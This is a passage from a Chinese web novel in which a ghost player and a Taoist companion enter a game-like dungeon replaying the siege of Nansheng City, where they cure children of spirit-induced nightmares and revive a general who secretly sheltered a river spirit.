她现在能自由支配的,都在状元府里了。
冯时惜在弓鸣县没有待多久,就要回京城上任。
她走了,状元府没有人去楼空,偌大的府邸和满满当当的库房都留给了符芹和符庄。
一夜暴富的符庄躺平得更心安理得了。
冯时惜临行前,瞿青派人来在府里各处栽了几丛竹子。
文人墨客讲究“宁可食无肉,不可居无竹”,状元府起初是按诗情画意的风格建造的,出资的各家都想掺和,推敲的细节太多,最基础的元素反而被略过。
竹子成材要三五年,瞿青送来的算是半成品,已经具备足够的观赏性。
这是一份十分取巧又挑不出错的礼物。
何况瞿青也说:“多亏齐大人提点,下官才想到献青竹为状元府添色。”
哪怕了解不多,冯时惜也知道齐览不是管闲事的性格。
她不得不收。
可惜整个状元府中,除了符芹,没有其他人会兴致盎然地欣赏它。
每日晨起,符庄在芹心园的小竹林边练字,符芹则雷打不动地煮一壶茶。
日光打下来,竹林影影绰绰。
斑斓的蛇尾在其中一闪而逝。
45. 第 45 章
一人一鬼走过一重又一重山,被一条河拦住了去路。
鱼宣摸出导览图。
一个标红的箭头直直指向前方。
这是一个废弃了不知多少年的渡口,现在已经没有船只来往和停驻了。
鱼宣正要问问齐览走水路的办法,系统提示音突兀响起。
“恭喜玩家开启新地图:公无渡河,公竟渡河——子渡河。”
“您已解锁副本【子渡河】”
系统音刚结束,水就没过他们的头顶。
女鬼不需要呼吸,并没有感到不适。
水中暗流涌动,鱼宣不受控制地被推着位移。
窒息感裹挟着齐览,他下意识伸手想要抓住什么,下一刻手腕传来一股力道把他拽过去。
女鬼一脸稀奇地看着NPC难受得吐泡泡还不挣不扎的神奇反应,好心提醒:“闭气。”
人类的闭气时间有限,他们必须尽快找到这片水域的出口。
鱼宣拉着齐览往上游,水的深度似乎无穷无尽,系统面板上的时间一分一秒过去,他们身处的环境依旧昏暗,无法判断水面的距离。
女鬼抬头看了看见不到尽头的透着微弱的光线的水,低头看了看又开始冒泡泡的NPC,指尖涌出丝丝缕缕的灵力。
阴寒的灵力所过之处,结出霜花,细细密密地织成一张灵网,兜头把青年整个网住,随后自发与他的身体贴合。
“物品:天衣——织为云外秋雁行,染作江南春水色。可为使用者提供一切维持生命的资源,需不间断灵力供给。”
这不就是呼吸机吗?
已经熟读《针织刺绣——从入门到精通》的女鬼对症下药,齐览暂时脱离了生命危险。
不过这个副本通关之前,他们是出不去了。
齐览缓过劲,意识恢复清晰。
鱼宣吸取冯时惜的教训,问:“冷吗?”
当然冷。
遇水成霜,不是一般的冷。
齐览摇头:“无碍。”
修道炼体是基本,鱼宣的灵力没有进入经脉,在可承受的范围内。
“这是鲛衣?”
在人类的记载里,能够使人在水下行动自如而不必闭气的服装类法器,最出名的便是鲛衣。
鲛衣以珍稀闻名,世所罕见。
鱼宣在心中暗暗对比。
鲛衣听起来没有天衣贵气,而且像是破坏物种多样性的产物。
她否认:“不是。”
齐览能看见自己身上萦绕不绝的灵力,联想鱼宣的身份,大致猜到它的来处。
他的灵力其实已经恢复了七成,但为这件法器供能最多只能维持不到一天的时间。
再灵力透支一次的话,会损伤修行的根基。
鱼宣感受了一下灵力流失的速度,按这种程度的消耗,她一只鬼能顶一两个月。
女鬼安心了,开始着手探索新副本。
头顶没有尽头,鱼宣牵引着齐览下落。
没多久他们就踩到实地。
“道长,你们来了。”
鱼宣循声看去。
“新角色:张渠——南盛城守城军士兵。”
“你……”
张渠抱拳行礼:“道长,我是越升将军麾下的张渠,受命来配合你们转移城中百姓。”
齐览:“越升?”
“正是。”
齐览悄悄松开扣着鱼宣的手,对张渠轻轻颔首:“那就劳烦你领路了。”
鱼宣原本想问张渠,是不是弓鸣县人,认不认识符芹。
从角色介绍来看,张渠极有可能是符芹那位死在南盛城的丈夫。
但齐览突然反扣她的手,打断了她要问的话。
NPC这么做一定有他的道理。
鱼宣收声,跟着张渠走。
周围的环境从张渠出现就不再是没有尽头的水,逐渐变幻成街道。
“不知二位道长如何称呼?”
面对张渠的发问,鱼宣谨慎地看向齐览。
齐览不假思索地报上真名,又说:“我二人听闻南盛城战事急需助力,特此赶来。”
鱼宣注意到他腰间空荡荡,伏灵令不见踪影。
张渠恭敬道:“二位道长大义。”
为防灵异趁虚而入,城中百姓都被聚集在一起。
一般情况下,灵异有固定的活动范围,像鱼宣这种自由身少之又少。
对灵异来说,食用同类比食用人类划算,若非自己的地盘里同类稀缺,灵异不会把主意打到人类身上。
还有一种情况是,弱小的灵异找不到自己能够吞噬的同类,只能退而求其次。
聚集百姓就是防的这一类。
普通人能掌握的攻击手段对灵异的伤害微乎其微,法器又稀缺,只能拼人数。
而军队的作战则是有组织有纪律有计划地拼人数。
理论上来说,野生灵异很少有抱团行为,对上成千上万的人类军队,血不够厚的话还是能磨死的。
只是在实操过程中,一场仗打下来往往灵异的影子都没看到,士兵就折损大半。
越升是对阵灵异最有经验的将领之一,兵行诡道,出其不意。
他死在南盛城是轰动且巨大的损失,使人类军队的士气一时低迷。
灵异本异鱼宣恶补完这部分的世界观资料,对这个副本的安危有些担忧。
恢复九成力量的女鬼能感知到自己的灵力就像不见底的深渊。
万一到时候人家发现她一个灵异混进来,群起而攻之,她还不还手呢?
鱼宣自认是一个循规蹈矩的玩家,暴力通关不是她的风格。
——主要是她现在人在屋檐下,系统判定不认账就完蛋了。
张渠带着一人一鬼来到城西的山脚下。
“这山上是佑民寺,我们与寺中僧侣交涉过,他们愿意开门接纳百姓。”
鱼宣看去,数不清的石阶从脚下一直延伸到视野的尽头。
佛门前八百阶,已经考验过了人们的虔诚。
佑民寺成为南盛城百姓群聚的地方除了方便撤离之外,最大的优势就是它矗立在此几百年,当地人家有许多都去拜过,人们对它的信赖无需多言。
寺庙在山腰。
鱼宣看见佑民寺门前的石狮子时,张渠已经累得喘气。
踏上最后一道石阶,他撑着大腿抬头,身边的两位头发丝都没乱。
张渠:果然是高人。
寺门大开,门边守着六个与张渠同样装束的士兵。<
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张渠上前打招呼:“我带道长们回来了,大伙儿怎么样?”
士兵们愁眉苦脸。
“去看看吧,几个孩子魇住了,死活醒不过来,请道长想想办法。”
梦魇是灵异常用的手段,效率高风险低,屡试不爽。
后院的一间禅房里整整齐齐躺了五个长短不一的人,除了他们的父母,其余人宁可到外面去睡也不肯进来。
张渠打听到,这五个孩子最小的四岁,最大的十二岁,都是在前天夜里睡下后就没有再醒过来。
“我们会尽力,”齐览的脸上看不出凝重或轻松,“张渠,让他们出去吧。”
张渠好说歹说,总算把对着齐览和鱼宣千求万求的男男女女请出禅房,随后自己也退出去,把房门带上。
忽略失去意识的五个孩子,四下无人。
鱼宣问:“张渠有问题吗?”
“问题不在他,而是在我们身上,”齐览解释,“我们现在的身份是自发前来支援的道士。”
“南盛城东北两面被灵异围堵,南边被河水截断,我们只可能从西面来。”
京城在北,弓鸣县在南,他们既不可能来自伏灵司,也不可能见过符芹。
何况南盛城一战,全军覆没,张渠早就是死人。
唤起一个死人的回忆,运气不好可能会在副本的开头就开出小BOSS。
因此齐览拦住了鱼宣的问话,又藏起令牌。
鱼宣展开导览图:“西边是……”
等高线上一排细密的横。
是断崖。
难怪这边没有被灵异包抄。
所以实际上的南盛城之战,根本没有所谓自发来支援的两位道长,全靠越升手下的人硬撑。
“当前进度:41%(剧情探索达到60%将解锁支线)”
鱼宣目光落在五个脸色已有灰败迹象的人类身上。
“他们怎么办?”
灵异使用梦魇的最大好处,就是不必亲自来抓人,魇住的人心理防线崩溃之后会自己羊入虎口,灵异的目的就达到了。
弱小的灵异很少有开化的,他们只会根据人类的欲望制造简单的梦魇,挑小孩子下手成功的概率比较大。
棘手的是,梦魇看不见摸不着,人们无从下手驱除。
但对于道士而言,处理梦魇属于入门级的学习内容。
齐览默默拿出符纸。
很快,一人一鬼拉开门走出禅房。
齐览转头对上守在门口的张渠期待的眼神。
“一刻钟内他们就会醒,准备些吃的送过去吧。”
与梦魇做抗争格外费神,这些孩子得缓两三天才能彻底恢复,补充体力很有必要。
张渠连忙应下。
孩子的父母们一直竖着耳朵听这边的动静,齐览没有刻意压低声音,他们听得一清二楚,纷纷拥过来道谢。
鱼宣离得近,和齐览一起被他们的热情簇拥起来。
张渠:“道长辛苦了,大伙儿都让让,让道长去休息。”
人群四散开来,让出一条路。
鱼宣和齐览跟着张渠走过一道门,门后是分隔开的院子。
比起之前一路走来的地方,这里的士兵把守肉眼可见的森严。
46. 第 46 章
张渠停住,一个军官装扮的男人站定在他们面前。
“新角色:刘斤——南盛城守城军校尉。”
“二位道长,我是越升将军麾下的刘斤,任校尉。”
鱼宣看了一眼没有再往前走的张渠,明白他的权限到此为止,接下来的路程要由这位刘校尉接手了。
刘斤语气严肃郑重:“请随我来。”
佑民寺的后院除了前面的简陋禅房之外,还别有洞天。
它能在南盛城香火鼎盛几百年,结的不仅仅是善缘,还有贵人缘。
这道门之后的几个独立小院战时无人打理,也能看出处处雕梁画栋。
刘斤引着一人一鬼往最深处走,沿路的守卫见他来,毫不犹豫地放行。
鱼宣不动声色地观察,四周守备严密,却多为小兵,面对刘斤格外恭敬。
只怕等级高一点的军官都在前方指挥作战了。
校尉仅次于将军,能让刘斤出面的,只有本次战役的最高将领——越升。
山腰上建筑的面积有限,这处院落的大小比起之前副本中鱼宣落脚的地方要逼仄得多。
刘斤向院门前的士兵颔首,带着一人一鬼走进小院。
与院子的外观不同,屋内没有什么奢华的装饰。
也许是为了方便逃亡,人们已经把能搬动的都带走变卖了,搬不走的留下来,维持了这里的华贵尊荣。
跨过门槛数十步,就是卧房。
凭女鬼的眼力,不必走近就能看见床上层层布帘之后拱起的一个大包。
目测这厚度,得盖了五六层被褥,哪怕是在深冬也能把人闷出汗来。
齐览抬眼,冷冷开口:“刘校尉,我二人是来转移百姓和支援前线的,你们一昧地把我们往后方带,不怕耽搁了时辰,让南盛城百姓殒命于此吗?”
按理说,时间紧迫,他们来援助,到达的第一时间就应该被要求组织百姓走山路往西面撤离。
救治那几个孩子也就罢了,现在还一声不吭地把他们带到这里来,既不解释,也没有半点要安排人离开的意思。
刘斤挂起布帘,床帐内的场景展露在他们面前。
“新角色:越升——南盛城守城军将军。”
层层棉被之下,男人紧闭双眼,嘴唇干裂发白,脸皮下隐隐泛着青紫。
看着像是要活活冻死了。
刘斤这才开始交代:“第一批百姓已经在将军的掩护下撤走,余下的青壮年几乎都上了前线,这寺里的千余人你们在天黑前带他们离开。”
他侧身让到一边:“带你们来,是因为将军遭遇灵异暗算,不省人事至今已有三日。”
鱼宣与齐览对视一眼。
张渠,甚至佑民寺门前的守卫,给他们做了一个局。
给那五个孩子驱除梦魇,只是表面上递出来的橄榄枝,实际是在试探他们是否有能力。
齐览视线下落,从越升的脸上扫过。
他平静地发问:“刘校尉是觉得,越将军与那几个孩子的症状一样?”
刘斤不傻,当然看得出其中有分别。
“我一介莽夫,不敢妄言,”刘斤道,“只是以为有相似之处,或许相通。”
对方的回答滴水不漏,齐览却半点不给面子:“那我来告诉你。”
“梦魇可以用一张符箓化解,而越将军惹上的灵异,十张符箓也无法驱除。”
刘斤神色凝重起来:“需要多少张,您尽管开口,我们寻遍南盛城也得找出来。”
齐览:……
鱼宣原本一直凝在床帐里的目光松动,游离了一会儿,缓慢看向满脸恳切的刘斤。
她觉得军中一定另有高人。
刘斤的水平就摆在这,用梦魇试探完全不像是他能够想出的招数。
“刘校尉,你误会了,”鱼宣露出一个和善的笑,“齐道长的意思是,越将军的情况并非梦魇,无法用符箓解决。”
刘斤:“那按鱼道长的意思?”
鱼宣能有什么意思,她堂堂女鬼,被人喊道长,感觉阴寿折去大半。
接收到鱼宣的求救信号,齐览问:“你们撤离的时候,是不是走的水路?”
刘斤:“正是。”
“西面山崖拦路,十分险峻,原本不考虑作为撤离的方向。”
鱼宣:“所以你们往南面渡河。”
刘斤颔首:“南盛城靠河的渡口货船约有二百余只,再加上画舫游船等,先把城中老幼送走。”
鱼宣摸摸下巴:“看来在越将军的部署下,从水路撤离很顺利。”
他们一路走过的街道空荡荡,民居也都人去楼空,可见南盛城里剩余的百姓,不是在前线,就是在佑民寺了。
刘斤愁苦道:“本来撤离早该结束,可是三日前午后子渡河边,将军突然落水,被救回来后昏迷不醒到现在。这模样根本就是灵异作祟,我们都不敢再把人往河面送。”
齐览追问细节:“他被救上来时是什么模样?为什么会让你们断定他落水是灵异的手笔?”
“气若游丝,通体冰寒,”刘斤回忆道,“不像才落水一会儿,倒像是在水里淹了许久。”
说到这里,他更有底气:“咱们将军正值壮年,怎么可能从水里打个滚捞起来就醒不过来?一定是灵异暗算!”
难说。
对越升等人来说是暗算,对灵异来说可能只是大摇大摆地飘过去给了他一下。
能被普通人看见的有实体的灵异打着灯笼都难找,齐览从京城到边境,鱼宣是头一个。
没道理越升碰上了还有苟延残喘的时间。
想到这里,齐览惊觉自己的立场不对,轻咳一声:“既然使越将军昏迷的灵异栖息于子渡河,我们就去看看吧。”
刘斤眼巴巴地看着他:“那,将军这状况,能撑多久啊?”
齐览想了想,给出回答:“两日。”
刘斤满面愁容,硬朗的脸皱得像一张揉过的纸:“齐道长,您还是先想想办法,让将军醒过来吧。八千守城军和几万百姓等着调遣呢。”
鱼宣淡然道:“没有将军,守城军就不会打仗了吗?”
刘斤抓耳挠腮:“当然要打,但是这擒贼先擒王,不对,怎么说来着……”
鱼宣:“群龙无首?”
刘斤
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还是觉得不贴切,但又想不出来,干脆跳过这部分:“差不多是这意思,将军不下令,咱下面的人自己管自己怎么能行?”
鱼宣顺着他的话安抚道:“刘校尉的心情我们可以理解,越将军战功赫赫,威名远扬,他来主持大局,守城军和百姓心中多少有些慰藉。无论如何,我们会试试的。”
刘斤忙不迭地点头。
齐览见鱼宣与刘斤谈妥,这才出声:“既然如此,请刘校尉回避。”
刘斤愣了愣,踌躇:“我得出去吗?”
鱼宣:“张渠没有向您禀报吗?我们在后院禅房驱除梦魇时,他和孩子的父母也都在屋外。”
刘斤虽然犹豫,但道士给人的刻板印象里确实有某些时候做法时周围不能有人这一条。
他想,拦着他们,将军最多还有两日好活,让道士做做法事,或许能寿终正寝,亏不了。
“那就拜托二位道长了。”
刘斤出去了。
鱼宣摊开手,将源源不断流向齐览的灵力断开。
“感觉如何?”
窒息感卷土重来,齐览拧眉摇头:“我们还在水下。”
鱼宣又把灵力续上。
看来这一次与姜王都的副本不同。
不是梦魂,也没有切换表里世界,他们实实在在地被框定在副本场景里行动。
眼前的一切,是十三年前南盛城覆灭之战的回放,他们作为本不存在的角色,对全局的影响还是未知。
把现状认清后,一人一鬼开始着手当下的节点。
——探探越升身上的猫腻。
越升之死并无详细记载。
在被灵异围杀的城池中死于灵异之手再正常不过,也没有人能够活下来告诉后人越升究竟是怎么死的。
现在可以确定的是,在南盛城还没有彻底失去抵御灵异的能力时,越升就已经昏迷。
从这一刻算起,大概率只有两天余寿。
齐览掐诀,开天眼。
鱼宣也把越升以及他身上的被褥细致入微地观察,无果。
在女鬼眼里,越升身上只有微弱到可以忽略不计的灵异气息,连半大孩子都伤不了,何况一个身强体壮领兵作战的将军。
要是说这道气息的主人把越升害成这样,毫无疑问是越升故意碰瓷。
鱼宣天马行空地发散思维的时候,齐览收势。
她凑过去问:“齐道长,有什么发现吗?”
齐览能看见的不会比鱼宣多,但他有理论知识的根基,能针对这种情况做一些分析。
“越升目前的昏迷与灵异关系不大,但皇帝请过仵作和道士验尸,确认他的死是灵异所为。”
由结论往前推,后续的发展有两个方向。
一是灵异盯上了越升,但人们救援及时,灵异这次没得手,之后会再来取他的性命。
二是子渡河的灵异对越升从头到尾都没有兴趣,杀死越升的是从东北两面围堵南盛城的灵异。
无论是哪一个方向,他现在这副凄惨样都并非灵异作乱。
“当前进度:42%(剧情探索达到60%将解锁支线)”
47. 第 47 章
不是灵异作乱,那正常走流程吃药治病就是了。
鱼宣翻了翻系统面板,在仅有的几种药里挑来挑去。
救心草利湿,对越升现在的病情有害无利。
中药包不治急症。
乌凤丸补气血,聊胜于无。
济灵丹……
不舍得用。
鱼宣纠结一会儿,还是拿出了方逢玉给的仿制品。
齐览拦住她。
“没用的,”青年伸手把鱼宣往身边带了点,“无论是否救治,越升都会在该死的时候死。”
他们能改变过程,却无法左右结局。
鱼宣把仿制的济灵丹收回面板:“那他能醒吗?”
越升身上肯定藏了事。
齐览是个道士,也学了一身武艺,但对医术只了解基本的外伤治疗,让他救一个病因不明的人无异于让狗捉老鼠。
他尝试寻找突破口:“城内有郎中,军队有军医,越升昏迷的三日里他们一定都被找来为他诊治过。”
但是越升现在还是毫无起色。
专业人士都搞不定,足以说明越升罹患的并非常见病症。
鱼宣往下推测:“疑难杂症没被诊除了,他们都相信越升是遭灵异毒手,于是病急乱投医,把道士请过来救命。”
结果当然是毫无办法,留道士和女鬼在这里大眼瞪小眼。
没有理论基础,就只能靠生活经验了。
疑难杂症历来得用偏方。
齐览看向鱼宣:“用你的灵力,逼醒他。”
鱼宣的思路很快和齐览对上线。
越升现在的状态就是玩家拼尽全力去救也无济于事,因为他必死无疑。
按这个逻辑反过来,玩家再怎么把他往死里折腾,他也死不了,因为节点还没有到。
症状是通体冰寒,那鱼宣再加码,说不定能给他逼出回光返照。
鱼宣对NPC的提议跃跃欲试。
她摩拳擦掌,正准备动手,却被齐览按住。
“等等,”齐览翻手演示,“我教你。”
女鬼常用的灵力释放形式有:金线,平A和灵力丝。
金线和平A是攻击性技能,越升撑不住,之后完全变成一具会呼吸的尸体就弄巧成拙了。
至于灵力丝,太柔和,配合鱼宣磅礴的灵力,就是温水煮青蛙的杀招,刺激的效果大打折扣。
鱼宣眨眨眼。
继符印之后,NPC又开始掉落大招教程了吗?
齐览教给鱼宣的是将灵力集中释放的手法。
“恭喜玩家获得技能【灵力(压缩包版)】——化零为整,一力千钧。”
不是大招。
鱼宣有点小失望。
玩家好歹是一只实力超群的灵异,连大招也不给,打起BOSS来多寒碜。
鱼宣学着齐览的样子翻过手,几道灵力丝扭转成绳,周围开出霜花。
齐览认可道:“不错。”
鱼宣试着找手感,灵力绳直直蹿出。
她顺着方向看过去,穗状的细绳在齐览腰上绕了三圈。
鱼宣:……
用力过猛了真是不好意思。
谁能想到这东西这么不可控。
齐览垂眼,立在原地一动不动,即使绳子在最初的缠绕过后就松了力道,他也没有挣开。
“灵力随主人的心意动,无需刻意掌控。”
鱼宣听完齐览的解释,内心的尴尬丝毫没有得到缓解。
这不就是再说她存心要绑人吗?
“灵力没有固定的形态,你指使它做什么,它就会随机应变,譬如方才……”
鱼宣立刻为自己的清白辩驳:“可是我根本没有指使它。”
青年仿佛就等她这句话:“你没有指使它,但你的注意力在我身上。”
鱼宣:……
那这能怪谁?哪有学东西不看教学的?
她弱弱辩解:“我也没有要捆你。”
齐览摊开手:“我的行动没有受阻,它最多算是亲近我。”
鱼宣很想有NPC这么好的心态,能够完全无视灵力松散开后变得皱巴巴的布料。
她扯出笑:“齐道长不与我计较就好。”
要想把越升弄醒,用绳子肯定不行,他对灵异的抗性也不能与齐览这个道士相提并论。
但是有冯时惜这个前车之鉴,鱼宣下手多少心里有底。
她两手交叠翻面,雾状的灵力夹杂簌簌下落的霜花,浓郁得化不开,将越升的身体密不透风地裹入其中。
鱼宣自觉非常贴心,把灵力外化成了方便消化吸收的模样。
离床几步之遥的齐览这次没受到波及。
他身上的天衣都是鱼宣的灵力织成的,压缩版的灵力到他附近老乡见老乡,知道是自己人,就撤开了。
雾状灵力的强度在于密度。
齐览的天眼还开着,非常直观地观察到屋内一片范围里灵力的浓郁程度。
一边供给天衣,一边奢侈地制造高密度灵雾,鱼宣却没有半点吃力的迹象。
齐览轻轻阖眼,在这一刻觉得京城那位意图剿杀鱼宣是痴人说梦。
越升可以说是被灵力含量过高的雾气封闭起来,冷已经是另一回事,最重要的是他无法呼吸。
他做不了只会呼吸的尸体,只能缓缓睁开眼恢复意识。
目的达到,灵雾应主人的心意被召回。
“越将军,您终于醒了。”
越升行军多年,警惕性极强,忽然听到陌生人声,迅速瞪着眼看向他们,神色紧绷。
“你们是怎么进来的?刘斤和庞壬呢?”
齐览上前:“越将军,我二人是来协助百姓从山路撤离的,刘校尉担忧您的安危,让我们来看看。”
越升对自己的下属还是了解的,齐览的话里没有疑点。
但他比刘斤要谨慎得多:“你们是哪里来的?”
齐览眼也不眨地现编:“我们从前在斧劈崖以西的山中修行。”
越升皱起眉。
斧劈崖的地势他清楚,有命上去没命下来,齐览如果没有说瞎话,那他们就是有真本事。
但他关心的是另一件事:“刘斤让你们带着百姓从西边走?”
齐览:“是。”
“胡闹!”
越升脸色难看。
“那地方他自己都不敢保证走得过去,就敢让百姓涉险?”
越升可以预见,他们
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要是真走山路,最后能剩下百余人就谢天谢地了。
鱼宣看热闹不嫌事大:“刘校尉就在门口候着,您要见见他吗?”
越升一对上鱼宣的目光,心中压不住的火气莫名其妙地被压下来,有种透心凉的清醒感。
他深吸一口气,提声喊人:“刘斤!”
刘斤守在外面心里一刻也不安宁,耳朵贴着门缝等,听见熟悉的声音,他一下撞开门。
“将军,我在!”
齐览提醒:“越将军还没有完全恢复,需要静养,刘校尉务必少让他听见大动静。”
刘斤一边偷摸地往里屋探头探脑,一边听话地放轻动作关门。
里屋的两人一鬼就这么静静看着他鬼鬼祟祟地走过来。
刘斤放低声音:“将军,您醒了?”
越升眉头皱得更深:“我醒没醒你看不见?”
刘斤:“看得见。”
越升闭了闭眼。
“他们二人是你找来的?”
刘斤顺着越升的问话看看鱼宣和齐览,转头:“两位道长是主动来支援的。”
越升听他驴唇不对马嘴的回答已经习惯,自己在脑子里转换文义,确定了鱼宣和齐览这两个突然冒出来的道士暂时没有危险后,开始跟刘斤算账。
“我听说,你要让剩下的百姓走山路撤离。”
刘斤傻不愣登的点头:“是啊,水路有灵异,您都中招了,别说其他人。”
越升冷笑:“灵异?谁说的有灵异?”
刘斤从越升的语气里察觉不对,原本很丝滑的回答都卡顿了一下:“这,咱们都看着的啊。”
“你们这么有本事,能亲眼看见,”越升气得不轻,“我行军这么多年,跟灵异对阵少了吗?我怎么没见过?”
刘斤跟着越升的时间不短,他一回想,确实如越升所说,灵异从来只有踪迹没有样貌,少有人说自己亲眼见过灵异。
硬朗高大的男人底气不足地回答:“没亲眼看见,但您当时的样子就跟遭了水鬼没两样,再说,哪有一睡三天的。”
越升重重拍了一下床板:“你还有理了?”
刘斤识相地闭了嘴。
越升又看了一眼鱼宣,开口:“二位道长远道而来辛苦了,刘斤行事莽撞,还请见谅。”
齐览不动声色地挡在鱼宣和越升之间:“越将军言重了,您与刘校尉为国为民,我们能帮上忙才是荣幸。”
“二位道长既然将我救醒,想必也知道此事与灵异无关,”越升肃着脸道,“趁天色还早,烦请二位替我到子渡河边督护百姓渡河。”
不是越升犯懒,而是他对自己现在的身体状况有清楚的认知。
他要是敢出门去吹风,这副身子分分钟散架给他看。
刘斤脑子绕不过来,听越升说还要走水路,顿时急躁:“将军,咱都在河边湿过鞋了,怎么还……”
越升一眼瞪过去,刘斤哑火了。
他又回过头来催促:“抓紧时间,趁天黑前,能送走多少人就送走多少人……”
齐览淡淡地打破越升的幻想:“越将军,您昏了三日,子渡河如今不能渡人。”
“当前进度:43%(剧情探索达到60%将解锁支线)”
48. 第 48 章
齐览此话一出,不光越升,鱼宣和刘斤也都转头看向他。
鱼宣想问又不能问,因为她现在也是一个道士,不能露馅。
越升脸上表情空白了一瞬:“三日?”
刘斤:“我作证,将军,您是睡了三日。”
刘斤偷瞄越升的脸色,小心翼翼地劝说:“道长也说子渡河不能去了,那咱就走山路吧。”
越升无暇管这个下属,只觉得头疼。
“庞壬呢?让他过来!”
刘斤得了命令,赶紧离开去叫人。
“二位道长见笑了,”越升强打精神地跟他们两个交代,“刘斤不知内情,子渡河的事还请不要透露与他知晓。”
鱼宣敏锐发言:“那越将军接下来要见的那位庞大人,是知道内情的?”
越升沉默一阵,才不太情愿地点头:“庞壬是我手下的副尉,他一直跟随我在子渡河边督护百姓撤离事宜,瞒住他没有意义。”
鱼宣努力暗示齐览,让他快说。
她可是玩家,瞒住她又有什么意义?
齐览很上道:“子渡河确有灵异,越将军,你因何包庇它?”
越升苦笑:“不是我包庇它,而是它在帮我。”
子渡河是当地用水的主要来源,灵异想作乱,拦也拦不住。
为了不让南盛城内大乱,他还得求着人家好好在水里待着,别被其他人发现。
“这次我落水是它拉我进去,但绝没有害人之心,守城军抵抗的是围截东北两面的灵异,与它无关。”
齐览:“这么说,越将军见过它?”
越升摇头。
鱼宣:哇塞。
人类的将军对没见过面的灵异这么维护,怪不得不能被人发现。
作为知情人的庞副尉一定憋得很辛苦。
“我知道二位会觉得我疯了,”越升病容未褪,刚醒就情绪起伏,这会儿已经精神不济,“但惹怒它的后果是南盛城东南北三面都有灵异围杀,西面天险拦路,城内百姓九死一生。”
听起来很严重。
不过他这么说,鱼宣和齐览就能接受多了。
鱼宣突发奇想:“您说它拉您下水,不是为了害人?”
没想到越升点点头:“正是。”
鱼宣很惊奇:没想到像她这么情绪稳定的灵异到处都是。
“据刘校尉说,您被打捞上来时,通体冰寒,这是您本身的病症,还是另有隐情?”
越升摇头:“我也不知道是病症还是中毒,但这是近半个月就有的症状,不是一天两天了。”
“半个月前,有什么异常发生吗?”
越升回忆道:“当时在北面曾与灵异正面对上,我与庞壬带着一队人马在最前方,行进至北面密林,虽然不见灵异形貌,但寻到疑似它根基命脉的方位,对方乱了阵脚,极力驱赶我们。”
这话换别人来说会觉得他太过自大,但越升的战绩无人不知,他既然这么说,就说明有足够的把握。
齐览听越升说了一大堆,关注点却与对方期望的背道而驰:“听闻越将军与灵异对战经验丰富,敢入常人所不能及之险境,我冒昧问一句,您是否有所倚仗?”
鱼宣被挡在齐览身后半步,听齐览这么问,也反应过来。
普通人或许一辈子遇上一两回灵异,能活下来就算万幸。
而越升半辈子与灵异在战场上对打,他不出事,除了祖坟冒青烟,也离不开他自身有保命手段。
话题突然被齐览带着走,越升有一瞬的卡顿,思索片刻,还是先回答了齐览的问题。
“是。”
他从衣领下掏出一枚玉坠。
玉器从来是做法器的重要原料之一,齐览对此很熟悉。
“通灵玉?”
“物品:通灵玉——佩戴者能够察觉灵异方位,并在一定程度上降低在灵异眼中的存在感。也可作为收纳灵异的容器。”
鱼宣:……
完蛋。
她还想着隐藏身份,结果刚开个头就被对方的挂侦察到了。
鱼宣丧着一张脸不想说话。
齐览:“何必拿它出来蒙混过关呢?”
鱼宣一个激灵。
通灵玉最初是道士豢养灵异时使用的容器,既可以随身携带,还能养护灵异的灵体。
后来才发现它的定位和隐匿功能,作为民间护身的手段之一。
但这玩意儿戴在身上最多提醒人赶紧掉头跑,对一个奔着打仗去的将军只有辅助功效,他该死还得死。
越升至今安然无恙的原因,绝对不在通灵玉上。
早就知道鱼宣是灵异的越升被她直勾勾盯着,汗毛都要竖起来了。
他无奈地摇头:“并非我有意隐瞒,只是它现在不在其中了。”
齐览此前有猜测,也难免惊诧:“你私自豢养灵异?”
豢养灵异连道士都极易被反噬,何况一个普通人。
越升如果真有这本事,还用得着拿物理攻击打仗?
“不,”越升否认,“它原本就在通灵玉中,论先来后到,也该是它豢养我。”
NPC在奇怪的地方挑字眼也不是第一次了,鱼宣接受良好。
“它就是子渡河中的灵异?”
越升迟疑:“是吧。”
什么叫“是吧”?
越升补充:“它不认得我了。”
“当前进度:44%(剧情探索达到60%将解锁支线)”
鱼宣觉得匪夷所思:“它不认得你,还拖你下水,你又看不见它,那你是怎么确认它的身份和意图的?”
越升理由充分:“我现在不是还活着吗?”
灵异如果要越升的命,绝不会放他上岸。
鱼宣:……
她代表灵异感谢越升的信任哈。
“而且我带着它这么多年了,它在我身边的时候我能感觉到。”
“你有通灵玉,当然能感觉到,”齐览对越升的说法表示认可,同时分析,“不过,它拉你下水或许只是因为你身上残留了它的气息,并非它对你熟悉。”
越升一拍大腿:“这就对了,我说它怎么绕来绕去的不撒手。”
鱼宣很难想象一个落水的人还有闲工夫去管一个看不见的灵异的动向。
她又问:“那你怎么知道它不认得你?”
越升说起这个又恼火:“我喊我给它取的名字,
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它都不带搭理的。”
鱼宣好奇:“你喊它什么?”
越升:“阿鬼。”
鱼宣:?
她脸上的茫然太明显,越升重复:“我喊它阿鬼。”
同为灵异,鱼宣非常共情:“那它不理你也是人之常情。”
如果有人喊她“阿鬼”,她一定把所有知情人和知情灵异都吃完,以此保住自己的一世英名。
齐览静默半晌,问:“它之前都在通灵玉中,你落水那天它把你拉下水,现在也没回来?”
越升点头又摇头:“它经常自己在这附近晃悠,但不吃人,偶尔还能吃几个灵异,为军队减轻了不少负担。”
起初越升担惊受怕,只是他没本事限制灵异的行动,后来每天数人头,发现没少,百姓也没有撞邪,而且周围的小灵异基本都被吃干净,越升就任它去了。
鱼宣:破案了。
怪不得越升能在战场和贴身灵异的夹缝中生存,原来是灵异把他当做饭票了。
无法被普通人看见的灵异受限很多,基本就是在一个地方圈地盘。
被收入通灵玉的灵异则可以跟随法器到其他地方。
越升的身份特殊,走南闯北地跟干仗,专门往有灵异作乱的地方去,“阿鬼”见跟着他有饭吃,自然不会对他下手。
一顿饱和顿顿饱的区别,即使是灵异也分得清。
鱼宣能想到,齐览这个专门研究过灵异习性的道士当然也能想到。
齐览推测:“它三日前应该是在向您辞行。”
越升满脑门问号:“辞行?辞什么行?它不是还在子渡河里待着吗?”
“有一件事刘校尉还没来得及同您上报,”鱼宣好心提示,“我们来之前,在前面的禅房为五个孩子驱除了梦魇。”
如果按越升的说法,“阿鬼”会自己在周围觅食,那梦魇绝不会出现。
鱼宣话里的含义越升听懂了,他默然。
齐览:“越将军,事已至此,还请您将事情的来龙去脉说清楚吧。”
越升组织语言,简练地陈述:“我带兵来到南盛城后,阿鬼跟之前一样出去了,我能感觉到它就在附近,就没管。后来发现它一直在河里泡着。”
因此越升才会安排走子渡河这条路。
事实也如越升所料,让百姓走水路撤离顺利得不可思议。
